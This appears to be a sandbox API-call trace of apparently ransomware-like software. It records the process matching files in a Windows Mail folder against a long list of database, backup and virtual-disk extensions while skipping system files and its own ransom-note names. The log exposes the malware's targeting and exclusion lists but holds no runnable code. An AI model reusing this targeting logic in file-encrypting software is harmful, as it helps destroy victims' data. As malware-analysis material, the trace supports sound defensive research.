	[0045.725] lstrlenW (lpString="ckp") returned 3
	[0045.725] lstrcmpiW (lpString1="ore", lpString2="ckp") returned 1
	[0045.725] lstrlenW (lpString="cma") returned 3
	[0045.725] lstrcmpiW (lpString1="ore", lpString2="cma") returned 1
	[0045.725] lstrlenW (lpString="cpd") returned 3
	[0045.725] lstrcmpiW (lpString1="ore", lpString2="cpd") returned 1
	[0045.725] lstrlenW (lpString="dacpac") returned 6
	[0045.725] lstrcmpiW (lpString1="eStore", lpString2="dacpac") returned 1
	[0045.725] lstrlenW (lpString="dad") returned 3
	[0045.725] lstrcmpiW (lpString1="ore", lpString2="dad") returned 1
	[0045.725] lstrlenW (lpString="dadiagrams") returned 10
	[0045.726] lstrcmpiW (lpString1="ssageStore", lpString2="dadiagrams") returned 1
	[0045.726] lstrlenW (lpString="daschema") returned 8
	[0045.726] lstrcmpiW (lpString1="ageStore", lpString2="daschema") returned -1
	[0045.726] lstrlenW (lpString="db-journal") returned 10
	[0045.726] lstrcmpiW (lpString1="ssageStore", lpString2="db-journal") returned 1
	[0045.726] lstrlenW (lpString="db-shm") returned 6
	[0045.726] lstrcmpiW (lpString1="eStore", lpString2="db-shm") returned 1
	[0045.726] lstrlenW (lpString="db-wal") returned 6
	[0045.726] lstrcmpiW (lpString1="eStore", lpString2="db-wal") returned 1
	[0045.726] lstrlenW (lpString="dbc") returned 3
	[0045.726] lstrcmpiW (lpString1="ore", lpString2="dbc") returned 1
	[0045.726] lstrlenW (lpString="dbs") returned 3
	[0045.726] lstrcmpiW (lpString1="ore", lpString2="dbs") returned 1
	[0045.726] lstrlenW (lpString="dbt") returned 3
	[0045.726] lstrcmpiW (lpString1="ore", lpString2="dbt") returned 1
	[0045.726] lstrlenW (lpString="dbv") returned 3
	[0045.726] lstrcmpiW (lpString1="ore", lpString2="dbv") returned 1
	[0045.726] lstrlenW (lpString="dbx") returned 3
	[0045.726] lstrcmpiW (lpString1="ore", lpString2="dbx") returned 1
	[0045.726] lstrlenW (lpString="dcb") returned 3
	[0045.726] lstrcmpiW (lpString1="ore", lpString2="dcb") returned 1
	[0045.726] lstrlenW (lpString="dct") returned 3
	[0045.726] lstrcmpiW (lpString1="ore", lpString2="dct") returned 1
	[0045.726] lstrlenW (lpString="dcx") returned 3
	[0045.726] lstrcmpiW (lpString1="ore", lpString2="dcx") returned 1
	[0045.726] lstrlenW (lpString="ddl") returned 3
	[0045.726] lstrcmpiW (lpString1="ore", lpString2="ddl") returned 1
	[0045.726] lstrlenW (lpString="dlis") returned 4
	[0045.726] lstrcmpiW (lpString1="tore", lpString2="dlis") returned 1
	[0045.726] lstrlenW (lpString="dp1") returned 3
	[0045.726] lstrcmpiW (lpString1="ore", lpString2="dp1") returned 1
	[0045.726] lstrlenW (lpString="dqy") returned 3
	[0045.727] lstrcmpiW (lpString1="ore", lpString2="dqy") returned 1
	[0045.727] lstrlenW (lpString="dsk") returned 3
	[0045.727] lstrcmpiW (lpString1="ore", lpString2="dsk") returned 1
	[0045.727] lstrlenW (lpString="dsn") returned 3
	[0045.727] lstrcmpiW (lpString1="ore", lpString2="dsn") returned 1
	[0045.727] lstrlenW (lpString="dtsx") returned 4
	[0045.727] lstrcmpiW (lpString1="tore", lpString2="dtsx") returned 1
	[0045.727] lstrlenW (lpString="dxl") returned 3
	[0045.727] lstrcmpiW (lpString1="ore", lpString2="dxl") returned 1
	[0045.727] lstrlenW (lpString="eco") returned 3
	[0045.727] lstrcmpiW (lpString1="ore", lpString2="eco") returned 1
	[0045.727] lstrlenW (lpString="ecx") returned 3
	[0045.727] lstrcmpiW (lpString1="ore", lpString2="ecx") returned 1
	[0045.727] lstrlenW (lpString="edb") returned 3
	[0045.727] lstrcmpiW (lpString1="ore", lpString2="edb") returned 1
	[0045.727] lstrlenW (lpString="epim") returned 4
	[0045.727] lstrcmpiW (lpString1="tore", lpString2="epim") returned 1
	[0045.727] lstrlenW (lpString="fcd") returned 3
	[0045.727] lstrcmpiW (lpString1="ore", lpString2="fcd") returned 1
	[0045.727] lstrlenW (lpString="fdb") returned 3
	[0045.727] lstrcmpiW (lpString1="ore", lpString2="fdb") returned 1
	[0045.727] lstrlenW (lpString="fic") returned 3
	[0045.727] lstrcmpiW (lpString1="ore", lpString2="fic") returned 1
	[0045.727] lstrlenW (lpString="flexolibrary") returned 12
	[0045.727] lstrcmpiW (lpString1="MessageStore", lpString2="flexolibrary") returned 1
	[0045.727] lstrlenW (lpString="fm5") returned 3
	[0045.727] lstrcmpiW (lpString1="ore", lpString2="fm5") returned 1
	[0045.727] lstrlenW (lpString="fmp") returned 3
	[0045.727] lstrcmpiW (lpString1="ore", lpString2="fmp") returned 1
	[0045.727] lstrlenW (lpString="fmp12") returned 5
	[0045.727] lstrcmpiW (lpString1="Store", lpString2="fmp12") returned 1
	[0045.727] lstrlenW (lpString="fmpsl") returned 5
	[0045.727] lstrcmpiW (lpString1="Store", lpString2="fmpsl") returned 1
	[0045.727] lstrlenW (lpString="fol") returned 3
	[0045.727] lstrcmpiW (lpString1="ore", lpString2="fol") returned 1
	[0045.728] lstrlenW (lpString="fp3") returned 3
	[0045.728] lstrcmpiW (lpString1="ore", lpString2="fp3") returned 1
	[0045.728] lstrlenW (lpString="fp4") returned 3
	[0045.728] lstrcmpiW (lpString1="ore", lpString2="fp4") returned 1
	[0045.728] lstrlenW (lpString="fp5") returned 3
	[0045.728] lstrcmpiW (lpString1="ore", lpString2="fp5") returned 1
	[0045.728] lstrlenW (lpString="fp7") returned 3
	[0045.728] lstrcmpiW (lpString1="ore", lpString2="fp7") returned 1
	[0045.728] lstrlenW (lpString="fpt") returned 3
	[0045.728] lstrcmpiW (lpString1="ore", lpString2="fpt") returned 1
	[0045.728] lstrlenW (lpString="frm") returned 3
	[0045.728] lstrcmpiW (lpString1="ore", lpString2="frm") returned 1
	[0045.728] lstrlenW (lpString="gdb") returned 3
	[0045.728] lstrcmpiW (lpString1="ore", lpString2="gdb") returned 1
	[0045.728] lstrlenW (lpString="gdb") returned 3
	[0045.728] lstrcmpiW (lpString1="ore", lpString2="gdb") returned 1
	[0045.728] lstrlenW (lpString="grdb") returned 4
	[0045.728] lstrcmpiW (lpString1="tore", lpString2="grdb") returned 1
	[0045.728] lstrlenW (lpString="gwi") returned 3
	[0045.728] lstrcmpiW (lpString1="ore", lpString2="gwi") returned 1
	[0045.728] lstrlenW (lpString="hdb") returned 3
	[0045.728] lstrcmpiW (lpString1="ore", lpString2="hdb") returned 1
	[0045.728] lstrlenW (lpString="his") returned 3
	[0045.728] lstrcmpiW (lpString1="ore", lpString2="his") returned 1
	[0045.728] lstrlenW (lpString="ib") returned 2
	[0045.728] lstrcmpiW (lpString1="re", lpString2="ib") returned 1
	[0045.728] lstrlenW (lpString="idb") returned 3
	[0045.728] lstrcmpiW (lpString1="ore", lpString2="idb") returned 1
	[0045.728] lstrlenW (lpString="ihx") returned 3
	[0045.728] lstrcmpiW (lpString1="ore", lpString2="ihx") returned 1
	[0045.728] lstrlenW (lpString="itdb") returned 4
	[0045.728] lstrcmpiW (lpString1="tore", lpString2="itdb") returned 1
	[0045.728] lstrlenW (lpString="itw") returned 3
	[0045.728] lstrcmpiW (lpString1="ore", lpString2="itw") returned 1
	[0045.728] lstrlenW (lpString="jet") returned 3
	[0045.729] lstrcmpiW (lpString1="ore", lpString2="jet") returned 1
	[0045.729] lstrlenW (lpString="jtx") returned 3
	[0045.729] lstrcmpiW (lpString1="ore", lpString2="jtx") returned 1
	[0045.729] lstrlenW (lpString="kdb") returned 3
	[0045.729] lstrcmpiW (lpString1="ore", lpString2="kdb") returned 1
	[0045.729] lstrlenW (lpString="kexi") returned 4
	[0045.729] lstrcmpiW (lpString1="tore", lpString2="kexi") returned 1
	[0045.729] lstrlenW (lpString="kexic") returned 5
	[0045.729] lstrcmpiW (lpString1="Store", lpString2="kexic") returned 1
	[0045.729] lstrlenW (lpString="kexis") returned 5
	[0045.729] lstrcmpiW (lpString1="Store", lpString2="kexis") returned 1
	[0045.729] lstrlenW (lpString="lgc") returned 3
	[0045.729] lstrcmpiW (lpString1="ore", lpString2="lgc") returned 1
	[0045.729] lstrlenW (lpString="lwx") returned 3
	[0045.729] lstrcmpiW (lpString1="ore", lpString2="lwx") returned 1
	[0045.729] lstrlenW (lpString="maf") returned 3
	[0045.729] lstrcmpiW (lpString1="ore", lpString2="maf") returned 1
	[0045.729] lstrlenW (lpString="maq") returned 3
	[0045.729] lstrcmpiW (lpString1="ore", lpString2="maq") returned 1
	[0045.729] lstrlenW (lpString="mar") returned 3
	[0045.729] lstrcmpiW (lpString1="ore", lpString2="mar") returned 1
	[0045.729] lstrlenW (lpString="marshal") returned 7
	[0045.729] lstrcmpiW (lpString1="geStore", lpString2="marshal") returned -1
	[0045.729] lstrlenW (lpString="mas") returned 3
	[0045.729] lstrcmpiW (lpString1="ore", lpString2="mas") returned 1
	[0045.729] lstrlenW (lpString="mav") returned 3
	[0045.729] lstrcmpiW (lpString1="ore", lpString2="mav") returned 1
	[0045.729] lstrlenW (lpString="maw") returned 3
	[0045.729] lstrcmpiW (lpString1="ore", lpString2="maw") returned 1
	[0045.729] lstrlenW (lpString="mdbhtml") returned 7
	[0045.729] lstrcmpiW (lpString1="geStore", lpString2="mdbhtml") returned -1
	[0045.729] lstrlenW (lpString="mdn") returned 3
	[0045.729] lstrcmpiW (lpString1="ore", lpString2="mdn") returned 1
	[0045.730] lstrlenW (lpString="mdt") returned 3
	[0045.730] lstrcmpiW (lpString1="ore", lpString2="mdt") returned 1
	[0045.730] lstrlenW (lpString="mfd") returned 3
	[0045.730] lstrcmpiW (lpString1="ore", lpString2="mfd") returned 1
	[0045.730] lstrlenW (lpString="mpd") returned 3
	[0045.730] lstrcmpiW (lpString1="ore", lpString2="mpd") returned 1
	[0045.730] lstrlenW (lpString="mrg") returned 3
	[0045.730] lstrcmpiW (lpString1="ore", lpString2="mrg") returned 1
	[0045.730] lstrlenW (lpString="mud") returned 3
	[0045.730] lstrcmpiW (lpString1="ore", lpString2="mud") returned 1
	[0045.730] lstrlenW (lpString="mwb") returned 3
	[0045.730] lstrcmpiW (lpString1="ore", lpString2="mwb") returned 1
	[0045.730] lstrlenW (lpString="myd") returned 3
	[0045.730] lstrcmpiW (lpString1="ore", lpString2="myd") returned 1
	[0045.730] lstrlenW (lpString="ndf") returned 3
	[0045.730] lstrcmpiW (lpString1="ore", lpString2="ndf") returned 1
	[0045.730] lstrlenW (lpString="nnt") returned 3
	[0045.730] lstrcmpiW (lpString1="ore", lpString2="nnt") returned 1
	[0045.730] lstrlenW (lpString="nrmlib") returned 6
	[0045.730] lstrcmpiW (lpString1="eStore", lpString2="nrmlib") returned -1
	[0045.730] lstrlenW (lpString="ns2") returned 3
	[0045.730] lstrcmpiW (lpString1="ore", lpString2="ns2") returned 1
	[0045.730] lstrlenW (lpString="ns3") returned 3
	[0045.730] lstrcmpiW (lpString1="ore", lpString2="ns3") returned 1
	[0045.730] lstrlenW (lpString="ns4") returned 3
	[0045.730] lstrcmpiW (lpString1="ore", lpString2="ns4") returned 1
	[0045.730] lstrlenW (lpString="nsf") returned 3
	[0045.730] lstrcmpiW (lpString1="ore", lpString2="nsf") returned 1
	[0045.730] lstrlenW (lpString="nv") returned 2
	[0045.730] lstrcmpiW (lpString1="re", lpString2="nv") returned 1
	[0045.730] lstrlenW (lpString="nv2") returned 3
	[0045.730] lstrcmpiW (lpString1="ore", lpString2="nv2") returned 1
	[0045.730] lstrlenW (lpString="nwdb") returned 4
	[0045.731] lstrcmpiW (lpString1="tore", lpString2="nwdb") returned 1
	[0045.731] lstrlenW (lpString="nyf") returned 3
	[0045.731] lstrcmpiW (lpString1="ore", lpString2="nyf") returned 1
	[0045.731] lstrlenW (lpString="odb") returned 3
	[0045.731] lstrcmpiW (lpString1="ore", lpString2="odb") returned 1
	[0045.731] lstrlenW (lpString="odb") returned 3
	[0045.731] lstrcmpiW (lpString1="ore", lpString2="odb") returned 1
	[0045.731] lstrlenW (lpString="oqy") returned 3
	[0045.731] lstrcmpiW (lpString1="ore", lpString2="oqy") returned 1
	[0045.731] lstrlenW (lpString="ora") returned 3
	[0045.731] lstrcmpiW (lpString1="ore", lpString2="ora") returned 1
	[0045.731] lstrlenW (lpString="orx") returned 3
	[0045.731] lstrcmpiW (lpString1="ore", lpString2="orx") returned -1
	[0045.731] lstrlenW (lpString="owc") returned 3
	[0045.731] lstrcmpiW (lpString1="ore", lpString2="owc") returned -1
	[0045.731] lstrlenW (lpString="p96") returned 3
	[0045.731] lstrcmpiW (lpString1="ore", lpString2="p96") returned -1
	[0045.731] lstrlenW (lpString="p97") returned 3
	[0045.731] lstrcmpiW (lpString1="ore", lpString2="p97") returned -1
	[0045.731] lstrlenW (lpString="pan") returned 3
	[0045.731] lstrcmpiW (lpString1="ore", lpString2="pan") returned -1
	[0045.731] lstrlenW (lpString="pdb") returned 3
	[0045.731] lstrcmpiW (lpString1="ore", lpString2="pdb") returned -1
	[0045.731] lstrlenW (lpString="pdm") returned 3
	[0045.731] lstrcmpiW (lpString1="ore", lpString2="pdm") returned -1
	[0045.731] lstrlenW (lpString="pnz") returned 3
	[0045.731] lstrcmpiW (lpString1="ore", lpString2="pnz") returned -1
	[0045.731] lstrlenW (lpString="qry") returned 3
	[0045.731] lstrcmpiW (lpString1="ore", lpString2="qry") returned -1
	[0045.731] lstrlenW (lpString="qvd") returned 3
	[0045.731] lstrcmpiW (lpString1="ore", lpString2="qvd") returned -1
	[0045.731] lstrlenW (lpString="rbf") returned 3
	[0045.731] lstrcmpiW (lpString1="ore", lpString2="rbf") returned -1
	[0045.731] lstrlenW (lpString="rctd") returned 4
	[0045.731] lstrcmpiW (lpString1="tore", lpString2="rctd") returned 1
	[0045.732] lstrlenW (lpString="rod") returned 3
	[0045.732] lstrcmpiW (lpString1="ore", lpString2="rod") returned -1
	[0045.732] lstrlenW (lpString="rodx") returned 4
	[0045.732] lstrcmpiW (lpString1="tore", lpString2="rodx") returned 1
	[0045.732] lstrlenW (lpString="rpd") returned 3
	[0045.732] lstrcmpiW (lpString1="ore", lpString2="rpd") returned -1
	[0045.732] lstrlenW (lpString="rsd") returned 3
	[0045.732] lstrcmpiW (lpString1="ore", lpString2="rsd") returned -1
	[0045.732] lstrlenW (lpString="sas7bdat") returned 8
	[0045.732] lstrcmpiW (lpString1="ageStore", lpString2="sas7bdat") returned -1
	[0045.732] lstrlenW (lpString="sbf") returned 3
	[0045.732] lstrcmpiW (lpString1="ore", lpString2="sbf") returned -1
	[0045.732] lstrlenW (lpString="scx") returned 3
	[0045.732] lstrcmpiW (lpString1="ore", lpString2="scx") returned -1
	[0045.732] lstrlenW (lpString="sdb") returned 3
	[0045.732] lstrcmpiW (lpString1="ore", lpString2="sdb") returned -1
	[0045.732] lstrlenW (lpString="sdc") returned 3
	[0045.732] lstrcmpiW (lpString1="ore", lpString2="sdc") returned -1
	[0045.732] lstrlenW (lpString="sdf") returned 3
	[0045.732] lstrcmpiW (lpString1="ore", lpString2="sdf") returned -1
	[0045.732] lstrlenW (lpString="sis") returned 3
	[0045.732] lstrcmpiW (lpString1="ore", lpString2="sis") returned -1
	[0045.732] lstrlenW (lpString="spq") returned 3
	[0045.732] lstrcmpiW (lpString1="ore", lpString2="spq") returned -1
	[0045.732] lstrlenW (lpString="te") returned 2
	[0045.732] lstrcmpiW (lpString1="re", lpString2="te") returned -1
	[0045.732] lstrlenW (lpString="teacher") returned 7
	[0045.732] lstrcmpiW (lpString1="geStore", lpString2="teacher") returned -1
	[0045.732] lstrlenW (lpString="tmd") returned 3
	[0045.732] lstrcmpiW (lpString1="ore", lpString2="tmd") returned -1
	[0045.732] lstrlenW (lpString="tps") returned 3
	[0045.732] lstrcmpiW (lpString1="ore", lpString2="tps") returned -1
	[0045.732] lstrlenW (lpString="trc") returned 3
	[0045.732] lstrcmpiW (lpString1="ore", lpString2="trc") returned -1
	[0045.733] lstrlenW (lpString="trc") returned 3
	[0045.733] lstrcmpiW (lpString1="ore", lpString2="trc") returned -1
	[0045.733] lstrlenW (lpString="trm") returned 3
	[0045.733] lstrcmpiW (lpString1="ore", lpString2="trm") returned -1
	[0045.733] lstrlenW (lpString="udb") returned 3
	[0045.733] lstrcmpiW (lpString1="ore", lpString2="udb") returned -1
	[0045.733] lstrlenW (lpString="udl") returned 3
	[0045.733] lstrcmpiW (lpString1="ore", lpString2="udl") returned -1
	[0045.733] lstrlenW (lpString="usr") returned 3
	[0045.733] lstrcmpiW (lpString1="ore", lpString2="usr") returned -1
	[0045.733] lstrlenW (lpString="v12") returned 3
	[0045.733] lstrcmpiW (lpString1="ore", lpString2="v12") returned -1
	[0045.733] lstrlenW (lpString="vis") returned 3
	[0045.733] lstrcmpiW (lpString1="ore", lpString2="vis") returned -1
	[0045.733] lstrlenW (lpString="vpd") returned 3
	[0045.733] lstrcmpiW (lpString1="ore", lpString2="vpd") returned -1
	[0045.733] lstrlenW (lpString="vvv") returned 3
	[0045.733] lstrcmpiW (lpString1="ore", lpString2="vvv") returned -1
	[0045.733] lstrlenW (lpString="wdb") returned 3
	[0045.733] lstrcmpiW (lpString1="ore", lpString2="wdb") returned -1
	[0045.733] lstrlenW (lpString="wmdb") returned 4
	[0045.733] lstrcmpiW (lpString1="tore", lpString2="wmdb") returned -1
	[0045.733] lstrlenW (lpString="wrk") returned 3
	[0045.733] lstrcmpiW (lpString1="ore", lpString2="wrk") returned -1
	[0045.733] lstrlenW (lpString="xdb") returned 3
	[0045.733] lstrcmpiW (lpString1="ore", lpString2="xdb") returned -1
	[0045.733] lstrlenW (lpString="xld") returned 3
	[0045.733] lstrcmpiW (lpString1="ore", lpString2="xld") returned -1
	[0045.733] lstrlenW (lpString="xmlff") returned 5
	[0045.733] lstrcmpiW (lpString1="Store", lpString2="xmlff") returned -1
	[0045.733] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9a12c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 1
	[0045.733] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.734] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="Apollon865.txt.exe") returned 1
	[0045.734] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".") returned 1
	[0045.734] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="..") returned 1
	[0045.734] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="windows") returned 1
	[0045.734] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="bootmgr") returned 1
	[0045.734] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="temp") returned 1
	[0045.734] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="pagefile.sys") returned 1
	[0045.734] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="boot") returned 1
	[0045.734] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="ids.txt") returned 1
	[0045.734] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="ntuser.dat") returned 1
	[0045.734] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="perflogs") returned 1
	[0045.734] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="MSBuild") returned 1
	[0045.734] lstrlenW (lpString="WindowsMail.pat") returned 15
	[0045.734] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore") returned 93
	[0045.734] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="WindowsMail.pat" | out: lpString1="WindowsMail.pat") returned="WindowsMail.pat"
	[0045.734] lstrlenW (lpString="WindowsMail.pat") returned 15
	[0045.734] lstrlenW (lpString="Apollon865") returned 10
	[0045.734] lstrcmpiW (lpString1="wsMail.pat", lpString2="Apollon865") returned 1
	[0045.734] lstrlenW (lpString=".dll") returned 4
	[0045.734] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".dll") returned 1
	[0045.734] lstrlenW (lpString=".lnk") returned 4
	[0045.734] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".lnk") returned 1
	[0045.734] lstrlenW (lpString=".ini") returned 4
	[0045.734] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".ini") returned 1
	[0045.734] lstrlenW (lpString=".sys") returned 4
	[0045.734] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".sys") returned 1
	[0045.734] lstrlenW (lpString="WindowsMail.pat") returned 15
	[0045.734] lstrlenW (lpString="bak") returned 3
	[0045.734] lstrcmpiW (lpString1="pat", lpString2="bak") returned 1
	[0045.734] lstrlenW (lpString="ba_") returned 3
	[0045.734] lstrcmpiW (lpString1="pat", lpString2="ba_") returned 1
	[0045.734] lstrlenW (lpString="dbb") returned 3
	[0045.734] lstrcmpiW (lpString1="pat", lpString2="dbb") returned 1
	[0045.735] lstrlenW (lpString="vmdk") returned 4
	[0045.735] lstrcmpiW (lpString1=".pat", lpString2="vmdk") returned -1
	[0045.735] lstrlenW (lpString="rar") returned 3
	[0045.735] lstrcmpiW (lpString1="pat", lpString2="rar") returned -1
	[0045.735] lstrlenW (lpString="zip") returned 3
	[0045.735] lstrcmpiW (lpString1="pat", lpString2="zip") returned -1
	[0045.735] lstrlenW (lpString="tgz") returned 3
	[0045.735] lstrcmpiW (lpString1="pat", lpString2="tgz") returned -1
	[0045.735] lstrlenW (lpString="vbox") returned 4
	[0045.735] lstrcmpiW (lpString1=".pat", lpString2="vbox") returned -1
	[0045.735] lstrlenW (lpString="vdi") returned 3
	[0045.735] lstrcmpiW (lpString1="pat", lpString2="vdi") returned -1
	[0045.735] lstrlenW (lpString="vhd") returned 3
	[0045.735] lstrcmpiW (lpString1="pat", lpString2="vhd") returned -1
	[0045.735] lstrlenW (lpString="vhdx") returned 4
	[0045.735] lstrcmpiW (lpString1=".pat", lpString2="vhdx") returned -1
	[0045.735] lstrlenW (lpString="avhd") returned 4
	[0045.735] lstrcmpiW (lpString1=".pat", lpString2="avhd") returned -1
	[0045.735] lstrlenW (lpString="db") returned 2
	[0045.735] lstrcmpiW (lpString1="at", lpString2="db") returned -1
	[0045.735] lstrlenW (lpString="db2") returned 3
	[0045.735] lstrcmpiW (lpString1="pat", lpString2="db2") returned 1
	[0045.735] lstrlenW (lpString="db3") returned 3
	[0045.735] lstrcmpiW (lpString1="pat", lpString2="db3") returned 1
	[0045.735] lstrlenW (lpString="dbf") returned 3
	[0045.735] lstrcmpiW (lpString1="pat", lpString2="dbf") returned 1
	[0045.735] lstrlenW (lpString="mdf") returned 3
	[0045.735] lstrcmpiW (lpString1="pat", lpString2="mdf") returned 1
	[0045.735] lstrlenW (lpString="mdb") returned 3
	[0045.735] lstrcmpiW (lpString1="pat", lpString2="mdb") returned 1
	[0045.735] lstrlenW (lpString="sql") returned 3
	[0045.735] lstrcmpiW (lpString1="pat", lpString2="sql") returned -1
	[0045.735] lstrlenW (lpString="sqlite") returned 6
	[0045.735] lstrcmpiW (lpString1="il.pat", lpString2="sqlite") returned -1
	[0045.736] lstrlenW (lpString="sqlite3") returned 7
	[0045.736] lstrcmpiW (lpString1="ail.pat", lpString2="sqlite3") returned -1
	[0045.736] lstrlenW (lpString="sqlitedb") returned 8
	[0045.736] lstrcmpiW (lpString1="Mail.pat", lpString2="sqlitedb") returned -1
	[0045.736] lstrlenW (lpString="xml") returned 3
	[0045.736] lstrcmpiW (lpString1="pat", lpString2="xml") returned -1
	[0045.736] lstrlenW (lpString="$er") returned 3
	[0045.736] lstrcmpiW (lpString1="pat", lpString2="$er") returned 1
	[0045.736] lstrlenW (lpString="4dd") returned 3
	[0045.736] lstrcmpiW (lpString1="pat", lpString2="4dd") returned 1
	[0045.736] lstrlenW (lpString="4dl") returned 3
	[0045.736] lstrcmpiW (lpString1="pat", lpString2="4dl") returned 1
	[0045.736] lstrlenW (lpString="^^^") returned 3
	[0045.736] lstrcmpiW (lpString1="pat", lpString2="^^^") returned 1
	[0045.736] lstrlenW (lpString="abs") returned 3
	[0045.736] lstrcmpiW (lpString1="pat", lpString2="abs") returned 1
	[0045.736] lstrlenW (lpString="abx") returned 3
	[0045.736] lstrcmpiW (lpString1="pat", lpString2="abx") returned 1
	[0045.736] lstrlenW (lpString="accdb") returned 5
	[0045.736] lstrcmpiW (lpString1="l.pat", lpString2="accdb") returned 1
	[0045.736] lstrlenW (lpString="accdc") returned 5
	[0045.736] lstrcmpiW (lpString1="l.pat", lpString2="accdc") returned 1
	[0045.736] lstrlenW (lpString="accde") returned 5
	[0045.736] lstrcmpiW (lpString1="l.pat", lpString2="accde") returned 1
	[0045.736] lstrlenW (lpString="accdr") returned 5
	[0045.736] lstrcmpiW (lpString1="l.pat", lpString2="accdr") returned 1
	[0045.736] lstrlenW (lpString="accdt") returned 5
	[0045.736] lstrcmpiW (lpString1="l.pat", lpString2="accdt") returned 1
	[0045.736] lstrlenW (lpString="accdw") returned 5
	[0045.736] lstrcmpiW (lpString1="l.pat", lpString2="accdw") returned 1
	[0045.736] lstrlenW (lpString="accft") returned 5
	[0045.736] lstrcmpiW (lpString1="l.pat", lpString2="accft") returned 1
	[0045.736] lstrlenW (lpString="adb") returned 3
	[0045.736] lstrcmpiW (lpString1="pat", lpString2="adb") returned 1
	[0045.736] lstrlenW (lpString="adb") returned 3
	[0045.737] lstrcmpiW (lpString1="pat", lpString2="adb") returned 1
	[0045.737] lstrlenW (lpString="ade") returned 3
	[0045.737] lstrcmpiW (lpString1="pat", lpString2="ade") returned 1
	[0045.737] lstrlenW (lpString="adf") returned 3
	[0045.737] lstrcmpiW (lpString1="pat", lpString2="adf") returned 1
	[0045.737] lstrlenW (lpString="adn") returned 3
	[0045.737] lstrcmpiW (lpString1="pat", lpString2="adn") returned 1
	[0045.737] lstrlenW (lpString="adp") returned 3
	[0045.737] lstrcmpiW (lpString1="pat", lpString2="adp") returned 1
	[0045.737] lstrlenW (lpString="alf") returned 3
	[0045.737] lstrcmpiW (lpString1="pat", lpString2="alf") returned 1
	[0045.737] lstrlenW (lpString="ask") returned 3
	[0045.737] lstrcmpiW (lpString1="pat", lpString2="ask") returned 1
	[0045.737] lstrlenW (lpString="btr") returned 3
	[0045.737] lstrcmpiW (lpString1="pat", lpString2="btr") returned 1
	[0045.737] lstrlenW (lpString="cat") returned 3
	[0045.737] lstrcmpiW (lpString1="pat", lpString2="cat") returned 1
	[0045.737] lstrlenW (lpString="cdb") returned 3
	[0045.737] lstrcmpiW (lpString1="pat", lpString2="cdb") returned 1
	[0045.737] lstrlenW (lpString="ckp") returned 3
	[0045.737] lstrcmpiW (lpString1="pat", lpString2="ckp") returned 1
	[0045.737] lstrlenW (lpString="cma") returned 3
	[0045.737] lstrcmpiW (lpString1="pat", lpString2="cma") returned 1
	[0045.737] lstrlenW (lpString="cpd") returned 3
	[0045.737] lstrcmpiW (lpString1="pat", lpString2="cpd") returned 1
	[0045.737] lstrlenW (lpString="dacpac") returned 6
	[0045.737] lstrcmpiW (lpString1="il.pat", lpString2="dacpac") returned 1
	[0045.737] lstrlenW (lpString="dad") returned 3
	[0045.737] lstrcmpiW (lpString1="pat", lpString2="dad") returned 1
	[0045.737] lstrlenW (lpString="dadiagrams") returned 10
	[0045.737] lstrcmpiW (lpString1="wsMail.pat", lpString2="dadiagrams") returned 1
	[0045.737] lstrlenW (lpString="daschema") returned 8
	[0045.737] lstrcmpiW (lpString1="Mail.pat", lpString2="daschema") returned 1
	[0045.738] lstrlenW (lpString="db-journal") returned 10
	[0045.738] lstrcmpiW (lpString1="wsMail.pat", lpString2="db-journal") returned 1
	[0045.738] lstrlenW (lpString="db-shm") returned 6
	[0045.738] lstrcmpiW (lpString1="il.pat", lpString2="db-shm") returned 1
	[0045.738] lstrlenW (lpString="db-wal") returned 6
	[0045.738] lstrcmpiW (lpString1="il.pat", lpString2="db-wal") returned 1
	[0045.738] lstrlenW (lpString="dbc") returned 3
	[0045.738] lstrcmpiW (lpString1="pat", lpString2="dbc") returned 1
	[0045.738] lstrlenW (lpString="dbs") returned 3
	[0045.738] lstrcmpiW (lpString1="pat", lpString2="dbs") returned 1
	[0045.738] lstrlenW (lpString="dbt") returned 3
	[0045.738] lstrcmpiW (lpString1="pat", lpString2="dbt") returned 1
	[0045.738] lstrlenW (lpString="dbv") returned 3
	[0045.738] lstrcmpiW (lpString1="pat", lpString2="dbv") returned 1
	[0045.738] lstrlenW (lpString="dbx") returned 3
	[0045.738] lstrcmpiW (lpString1="pat", lpString2="dbx") returned 1
	[0045.738] lstrlenW (lpString="dcb") returned 3
	[0045.738] lstrcmpiW (lpString1="pat", lpString2="dcb") returned 1
	[0045.738] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery"
